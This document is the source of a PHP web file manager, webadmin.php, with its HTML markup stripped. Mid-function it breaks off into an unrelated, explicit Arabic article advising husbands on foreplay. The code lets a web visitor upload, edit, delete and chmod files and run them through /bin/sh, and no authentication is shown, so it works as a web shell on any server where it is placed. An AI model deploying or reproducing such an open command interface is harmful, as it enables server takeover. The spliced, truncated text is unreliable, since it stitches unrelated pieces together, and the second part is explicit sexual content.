* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * ------------------------------------------------------------------------- * While using this script, do NOT navigate with your browser's back and * forward buttons! Always open files in a new browser tab! * ------------------------------------------------------------------------- * * This is Version 0.9, revision 9 * ========================================================================= * * Changes of revision 9 * * added workaround for directory listing, if lstat() is disabled * fixed permisson of uploaded files (thanks to Stephan Duffner) * * Changes of revision 8 * * added Turkish translation * * added Czech translation * * improved charset handling * * Changes of revision 7 * * added Spanish translation * * added Danish translation * * improved rename dialog * * Changes of revision 6 * * added Dutch translation * * Changes of revision 5 * * added language auto select * fixed symlinks in directory listing * removed word-wrap in edit textarea * * Changes of revision 4 * * added French translation * * added Swedish translation * * Changes of revision 3 * * improved Italian translation * * Changes of revision 2 * * got images work in some old browsers * fixed creation of directories * fixed files deletion * improved path handling * added missing word 'not_created' * * improved human readability of file sizes * * added Italian translation * * Changes of revision 1 * * webadmin.php completely rewritten: * - clean XHTML/CSS output * - several files selectable * - support for windows servers * - no more treeview, because * - webadmin.php is a >simple< file manager * - performance problems (too much additional code) * - I don't like: frames, java-script, to reload after every treeview-click * - execution of shell scripts * - introduced revision numbers * /* ------------------------------------------------------------------------- */ /* Your language: * 'en' - English * 'de' - German * 'fr' - French * 'it' - Italian * 'nl' - Dutch * 'se' - Swedish * 'sp' - Spanish * 'dk' - Danish * 'tr' - Turkish * 'cs' - Czech * 'auto' - autoselect */ $lang = 'auto'; /* Charset of output: * possible values are described in the charset table at * http://www.php.net/manual/en/function.htmlentities.php * 'auto' - use the same charset as the words of my language are encoded */ $site_charset = 'auto'; /* Homedir: * For example: './' - the script's directory */ $homedir = './'; /* Size of the edit textarea */ $editcols = 80; $editrows = 25; /* ------------------------------------------- * Optional configuration (remove # to enable) */ /* Permission of created directories: * For example: 0705 would be 'drwx---r-x'. */ # $dirpermission = 0705; /* Permission of created files: * For example: 0604 would be '-rw----r--'. */ # $filepermission = 0604; /* Filenames related to the apache web server: */ $htaccess = '.htaccess'; $htpasswd = '.htpasswd'; /* ------------------------------------------------------------------------- */ if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '\\') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('', '', ob_get_contents()); $src = str_replace(array('', "\r", "\n"), array('', '', ''), $src); ob_end_clean(); html_header(); echo '

' . html($file) . '


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '
' . $src . '
'; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("\n", $output))); } else { listing_page(notice('executed', $file, implode("\n", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("\n", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("\n", $success)); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('really_delete') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


'; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '
' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("\n", $success), $dest); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('move_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("\n", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '
'; request_dump(); echo "\n" . word('copy_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("\r\n", "\n", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '

' . phrase('permission_for', $file) . '


' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist (&$list, $key, $reverse) { quicksort($list, 0, sizeof($list) - 1, $key); if ($reverse) $list = array_reverse($list); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '\.jpg$|\.jpeg$' => 'image/jpeg', '\.gif$' => 'image/gif', '\.png$' => 'image/png', '\.html$|\.html$' => 'text/html', '\.txt$|\.asc$' => 'text/plain', '\.xml$|\.xsl$' => 'application/xml', '\.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!@is_link($file) && !file_exists($file)) return false; if (!@is_link($file) && @is_dir($file)) { if ($dir = @opendir($file)) { $error = false; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $error = true; } } closedir($dir); if (!$error) return @rmdir($file); return !$error; } else { return false; } } else { return @unlink($file); } } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, $reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; sortlist($list, $sort, $reverse); echo '

webadmin.php

'; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { listing($list); } else { echo error('not_readable', $directory); } echo '
'; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo '
smiley" . word('filename') . "" . word('size') . "" . word('permission') . "" . word('owner') . "" . word('group') . "' . word('functions') . '
'; if ($file['is_link']) { echo 'link '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ ' . html($file['target']) . ' ]'; } else { echo '' . html($file['target']) . ''; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo 'folder [ '; if ($win || $file['is_executable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo 'hidden file '; } else { echo 'file '; } if ($file['is_file'] && $file['is_readable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "\t{$file['size']} B'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo ''; echo html(permission_octal2string($file['permission'])); if ($l) echo ''; echo "{$file['owner_name']}{$file['owner']}{$file['group_name']}{$file['group']} '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' '; } echo '
' . word('directory') . ':
' . word('file') . ':

'; if ($apache && basename($file) == $htpasswd) { echo ' ' . word('user') . ': ' . word('password') . ':
'; } if ($apache && basename($file) == $htaccess) { echo '
'; } echo '

[ ' . word('back') . ' ]

'; html_footer(); } function spacer () { global $cols; echo '
كيف تعطي زوجتك نشوة جنسية لم تحلم بها من قبل ؟؟

كيف تعطي زوجتك نشوة جنسية لم تحلم بها من قبل ؟؟

يمكن تقسيم العملية الجنسية الى ثلاث مراحل رئيسية مهمة:
1- مرحلة المداعبات الجنسية الأولية (مداعبات ماقبل الجماع)
2- مرحلة الجماع (ادخال العضو الذكري في المهبل)
3- مداعبات مابعد الجماع مباشرة
وسوف أتحدث عن هذه المراحل الثلاث ولكن سأركز حديثي على المرحلة الأولى وهي ( مداعبات ما قبل الجماع ) , وكيف تستثار المناطق الحساسة عند المرأة ( كالثديين و البظر ) بالتفصيل , وغير ذلك من الأمور المهمة و ( الأسرار الجنسية المهمة ) !!
غالبا مايميل الرجل الى التركيز على المرحلة الثانية من مراحل العملية الجنسية (وهي مرحلة الجماع وايلاج العضو الذكري في المهبل) , في حين أنه يقلل من أهمية المرحلتين الأولى و الثالثة.
لكن الحقيقة هي أن المرأة ( تستثار و تستمتع ) بالمرحلتين الأولى والثالثة ( أي بمداعبات ما قبل و ما بعد الجماع ) وتحتاج اليهما بشكل أكبر من عملية الجماع نفسها , فلا يحصلن على الاشباع الجنسي الكامل اذا ( قلت ) مداعبات ( ماقبل ) أو ( ما بعد ) الجماع.
هذه هي احدى الحقائق التي يجب على كل رجل أن يضعها نصب عينيه , فرغبات المرأة الجنسية تختلف كثيرا عن رغبات الرجل.
والحقيقة الأخرى هي أن الممارسة الجنسية بالنسبة للمرأة انما هي ممارسة ( عاطفية ) بالدرجة الأولى , و بالدرجة الثانية يأتي الجانب ( الجنسي أو الجسدي ) , لذلك تفضل النساء تسمية ممارسة الجنس ب ( ممارسة الحب ).
في المرحلة الأولى ( مداعبات ماقبل الجماع ) :
تقول الدراسات العلمية والعملية في مجال الجنس أن المرأة تحتاج الى ما معدله ( 15 الى 20 دقيقة ) على الأقل من المداعبات الجنسية كي تكون متهيئة بشكل كامل لعملية الجماع.
فالجماع لا يكون ممتعا للمرأة الا اذا سبقته مداعبات مستفيضة تجعل من المرأة في قمة الاستثارة الجنسية.
وكثير من النساء يقولون أنه لا يمكنهن الوصول الى النشوة الجنسية ( هزة الجماع ) الا اذا سبق الجماع( أي ايلاج العضو الذكري ) مداعبات كثيرة. فمهما حاول الرجل جاهدا أثناء ( عملية الجماع والايلاج ) لايصال زوجته للهزة الجنسية فلن يستطيع ذلك , الا اذا سبق عملية الجماع الكثير من المداعبات الجنسية.
وبعبارة أخرى : اذا كانت مداعبات ما قبل الجماع غير كافية , فلا يمكن للمرأة الوصول الى النشوة الجنسية أو الرعشة الجنسية ( حتى لو استمر ادخال العضو الذكري في المهبل و تحريكه فترة طويلة ! ) , لذلك فمداعبات ما قبل الجماع هي أهم مرحلة بالنسبة للمرأة.
والسؤال هنا هو : كيف تهييء و تثير المرأة في ( مرحلة ما قبل الجماع )؟؟؟؟؟؟
في البداية يستحسن أن يبلغ الزوج زوجته بأنه ينوي مقاربتها جنسيا (أي يجامعها) قبل فترة الجماع بفترة كافية. كأن يخبرها في بداية المساء أو قبل الجماع بساعات ان أمكن , مما يجعل الزوجة تتهيأ نفسيا للقاء الجنسي فتكون على مستوى جيد من الاستعداد النفسي و الاثارة مع بداية المداعبات الجنسية.
والعامل النفسي للمرأة مهم بالنسبة لها الى أبعد الحدود , وهو الذي يتحكم فيما اذا كانت المرأة ستستمتع بالجنس أو لا, وذلك بخلاف الرجل الذي قد يكون مستعدا للأداء الجنسي بعد ثوان معدودة من التفكير في الجنس و بغض النظر تماما عن حالته النفسية. لكن هذا لا ينفع أبدا مع المرأة , اذ تحتاج أن تكون في وضع نفسي مناسب كي تستجيب للمثيرات الجنسية.
ويمكن للزوج تهيئة ( المزاج الجنسي ) للزوجة بعدة أمور منها :
1- ابلاغها برغبته في ( ممارسة الحب ) قبل ذلك بساعات ان أمكن.
2- الكلااااااام الرقيق:
فالرجل يستثار بالنظر بينما تستثار المرأة بالكلام , وهنا أؤكد على أهمية قول الرجل لزوجته ( أحبكِ ) قبل كل لقاء جنسي مهما طالت العلاقة بينهما , فهي كلمة واحدة لاتكلف الرجل شيء , ولكن لها وقع جباااااااار على قلب المرأة.
وفي احدى المرات قرأت أن امرأة(انجليزية) في الستين من العمر ومتزوجة من أربعين سنة , كانت تكثر من قول ( أحبك ) لزوجها فقط لكي تجعل زوجها يقول ( و أنا أحبك أيضا ) . ولكن زوجها كان يكتفي بالابتسامة فقط بدلا من قول ( و أنا أحبك أيضا ) فتصاب هذه السيدة بشيء من الاحباط .
فالمرأة تعشق سماع هذه الكلمة السحرية , ولكن حياء الرجال و جهلهم أيضا يقفان عائقا أمام قول ذلك.
3- اللمس و التقبيل والكلام !! :
من أكبر الأخطاء الشائعة بين الرجال هي أنهم عندما يلمسون زوجاتهم فانهم ( يتسرعون ) بلمس و استثارة المناطق الجنسية كالثديين و البظر و الشفرتان. وهذا خطأ كبييييير و فادح أيضا.
اذ ينبغي ( دااااااائما ) ترك تلك المناطق وجعلها ( آخر ما يستثار و يداعب ) في أثناء مداعبات ما قبل الجماع.
فتلك المناطق ( الثدي والفرج ) لا تكون مستجيبة للاثارات الجنسية الا أثناء وصول الزوجة الى مستوى عال من الاثارة, بل وقد تكون تلك الاستثارات ( مؤلمة وكريهة ) اذا لم تكن المرأة مستثارة بشكل كبير.
لذا ينبغي البدء أولا باللمس الخفيييييييييف والرقيييييييق جدا للكتفين ومنطقة الظهر والخصر أيضا , وفي هذه الأثناء على الزوج أن يقبل زوجته ( بشكل خفيف و رومانسي) في فمها وخدها و رقبتها وخلف أذنيها وعلى كتفيها , و أن يمزج ذلك كله بكلمات الحب.
وعندما يلاحظ الزوج استجابة زوجته لتلك الاستثارات ( كأن تزيد سرعة التنفس لديها ), عندها يقوم بزيادة قوة التقبيل وقوة اللمس والاحتضان, وفي هذه المرحلة يصبح الثديان قابلان للاستثارات الجنسية.
كيف يستثار الثديان؟؟؟؟؟؟؟؟؟؟؟؟
من المعروف أن حلمات الثدي والمنطقة ( الوردية أو البنية المحيطة بالحلمات ) والتي تعرف باسم ( هالة الثدي ) هما أكثر المناطق الحساسة في الثدي.
ولكن من الخطأ أن تستثار هاتان المنطقتان قبل باقي أجزاء الثدي , اذ انه في عالم الجنس عليك دائما أن تثير المناطق الأقل حساسية أولا ومن ثم المناطق الأكثر حساسية , مما يؤدي في النهاية الى نتائج مثيرة و تحقيق الاشباع الجنسي الكامل للزوجة.
ففي البداية فان على الزوج ( الذكي ) أن يقوم باللمس ( الخفيييييف ) لأطراف الثديين مع ترك واهمال ( الحلمات وهالة الثدي ) في بداية الأمر , ويعرف هذا التصرف في عالم الجنس ب ( teasing ) أو ( التعذيب المرغوب!!) , حيث يقوم الزوج باستثارة كل المناطق المحيطة والقريبة من الحلمات مع تجاهل الحلمات نفسها وبذلك تصبح الحلمات في غاية الحساسية الجنسية كما تصبح المرأة في غاية الاستثارة .
ويفضل استارة الثدي ب( حركات دائرية ) أي عمل دوائر تحيط بالثدي كاملا وتتجه من أسفل الثدي الى الأعلى مقتربة من ( هالة الثدي و الحلمات ) , ولكن ( يجب عدم ) لمس أو تحريك ( الهالة أو الحلمات ) في بداية الأمر. وبعد ذلك بفترة , يقوم بمداعبة واستثارة الهالة والحلمات نفسها باللمس الخفيف أولا , ثم يأتي اللحس و المص والشفط على الثدي كاملا مع التركيز في النهاية على حلمات الثدي.
وبهذه الطريقة تثور المرأة جنسيا و تزيد كمية الافرازات المهبلية بشكل كبير , عندها تصبح منطقة الفرج مهيأة للاستثارات.
ملاحظة هامة :
عند معظم النساء يكون أحد الثديين أكثر استجابة للمثيرات الجنسية من الآخر , لذلك ( يجب ) على الزوجة ابلاغ زوجها بذلك , كما يجب على الزوج سؤال زوجته أيا من ثدييها يستجيب بشكل أكبر للمثيرات الجنسية.كيف تثار منطقة الفرج؟؟؟؟؟ ( ما زلنا في مرحلة ما قبل الجماع و ايلاج العضو الذكري في المهبل )
بعد استثارت الثديين بالشكل الصحيح , على الزوج أن يستثير ( منطقة البطن و السرة ) باللمس الخفييييف والقبلات الرقيقة أيضا !!!
ومن ثم يقوم باستثارة ( باطن الفخذين) أي الجزء الداخلي من الفخذين, بادئا من فوق الركبة حتى يقترب من منطقة الفرج. وكلما اقتربت اللمسات من الفرج تزداد قوة ( التعذيب المرغوب ) , لكن ( احذر من لمس الفرج الآن) أي ( لاتلمس الفرج الآن ) , وكرر استثارة باطن الفخذين عدة مرات وذلك باللمس الخفيييييف والقبلات الرقيقة أيضا. فالمرأة تعشق أن تقبل في كل جزء من أجزاء جسمها.
ولمنطقة ( باطن الفخذين ) أهمية كبيرة من الناحية الجنسية, اذ أن الأعصاب الجنسية المغذية لها انما هي فرع من الأعصاب الجنسية المغذية لمنطقة الفرج نفسها !
بعد باطن الفخذين , تستثار منطقة العانة التي تكون عادة مغطاة بالشعر وتحتوي بداخلها على كمية من النسيج الدهني ( شحوم ) بالاضافة الى كمية كبيرة من الأعصاب الجنسية ( وهي المنطقة الممتدة من السرة الى البظر , ولكن البظر غير داخل ضمن هذه المنطقة ) وتعرف هذه المنطقة علميا بمنطقة ال ( mound ) و ترجمتها هي ( منطقة الهضبة أو التلة ) لأنها تكون مرتفعة قليلا ( متينة ) لكثرة الشحوم التي بداخلها . و تستثار هذه المنطقة باللمس بأطراف الأصابع بادئا من الأعلى و متجها نحو البظر ( لكن لا تلمس البظر ) , وهنا مرة أخرى ينبغي على الزوج الذكي أن يستخدم الأسلوب الجنسي المعروف ب ( التعذيب المرغوب ! ).
وعند هذه المرحلة ستكون الافرازات المهبلية قد غطت الفرج بكامله , و أصبح جسم المرأة و منطقة حوضها بالذات تتلوى من شدة الاستثارة الجنسية , و عندها تأتي المرحلة الأخيرة من ( مداعبات ما قبل الجماع ) وهي استثارة البظر و الشفرتان.
كالعادة ,,, ( يجب ) عليك ( دائما ) أن تبدأ باللمس الرقيق و الخفيف على منطقة الفرج , ومن ثم شيئا فشيئا تزيد من السرعة و الضغط ( ولكن ليس كثيرا ) , وبعد ذلك بفترة تركز اهتمامك لمداعبة أكثر عضو حساس في جسم المرأة على الاطلاق و هو ( البظر ).
